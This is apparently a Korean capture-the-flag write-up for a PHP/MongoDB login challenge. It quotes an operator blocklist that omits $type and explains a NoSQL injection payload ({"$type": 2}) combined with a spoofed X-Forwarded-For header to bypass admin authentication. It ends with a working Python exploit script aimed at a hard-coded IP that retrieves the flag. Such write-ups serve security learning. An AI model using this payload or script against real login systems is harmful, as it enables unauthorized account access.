index.php
$bulk->insert([
"username" => "admin",
"password" => "[REDACTED]",
"is_active" => true,
"role" => "admin",
"flag" => "[REDACTED]"
]);
여기서 admin 계정이 생성되고, 실제 flag가 저장됩니다.
login.php
if (is_array($input)) {
$blocked_operators = ['$ne', '$regex', '$gt', '$lt', '$gte', '$lte', '$in', '$nin', '$exists'];
foreach ($blocked_operators as $op) {
if (isset($input[$op])) {
die("허용되지 않은 연산자가 포함되었습니다.");
}
}
}
이 코드는 MongoDB NoSQL Injection을 막기 위해 여러 연산자를 차단하지만 $type 연산자는 빠져있습니다.
login.php의 인증 쿼리:
$filter = [
'username' => $username,
'password' => $input,
'is_active' => true
];
여기서 password에 {"$type": 2}를 넣으면 모든 문자열과 매칭되어 인증 우회가 가능합니다.
dashboard.php:
if (!isset($_SESSION['role']) || $_SESSION['role'] !== 'admin') {
header('Location: index.php');
exit;
}
$filter = ['role' => 'admin'];
$query = new MongoDB\Driver\Query($filter);
$cursor = $mongo->executeQuery('test.users', $query);
$user = current($cursor->toArray());
if ($user) {
$flag = $user->flag;
}
admin으로 로그인에 성공하면 dashboard.php에서 flag를 조회할 수 있습니다.
공격 과정:
username=admin&password={"type": 2} 페이로드로 로그인 요청type: 2는 차단 목록에 없어서 통과
모든 문자열과 매칭되어 admin 계정으로 로그인 성공
dashboard.php 접근하여 flag 획득
추가로 필요한 헤더:
X-Request-Time: [current timestamp] // 5초 이내의 타임스탬프
X-Forwarded-For: 127.0.0.1 // 로컬 접근 체크 우회
이렇게 MongoDB NoSQL Injection 취약점을 이용해서 인증을 우회하고 flag에 접근할 수 있었습니다.
import requests
import time
import json
def make_request(session, url, username, password_payload):
current_time = int(time.time() * 1000)
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'X-Request-Time': str(current_time),
'X-Forwarded-For': '127.0.0.1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Firefox/135.0'
}
data = {
'username': username,
'password': json.dumps(password_payload)
}
try:
response = session.post(url, headers=headers, data=data)
return response.text, response.status_code
except Exception as e:
return str(e), 0
def main():
base_url = 'http://3.39.38.109:3029'
login_url = f'{base_url}/login.php'
dashboard_url = f'{base_url}/dashboard.php'
# Create a session to maintain cookies
session = requests.Session()
# We know this payload works
payload = {"$type": 2}
print(f"Trying login with payload: {payload}")
response_text, status_code = make_request(session, login_url, "admin", payload)
if "대시보드" in response_text:
print("\nLogin successful! Fetching dashboard...")
# Fetch dashboard with same session
try:
dashboard = session.get(dashboard_url, headers={'X-Forwarded-For': '127.0.0.1'})
print("\nDashboard Response:")
print(dashboard.text)
except Exception as e:
print(f"Error fetching dashboard: {e}")
else:
print("Login failed!")
if __name__ == "__main__":
main()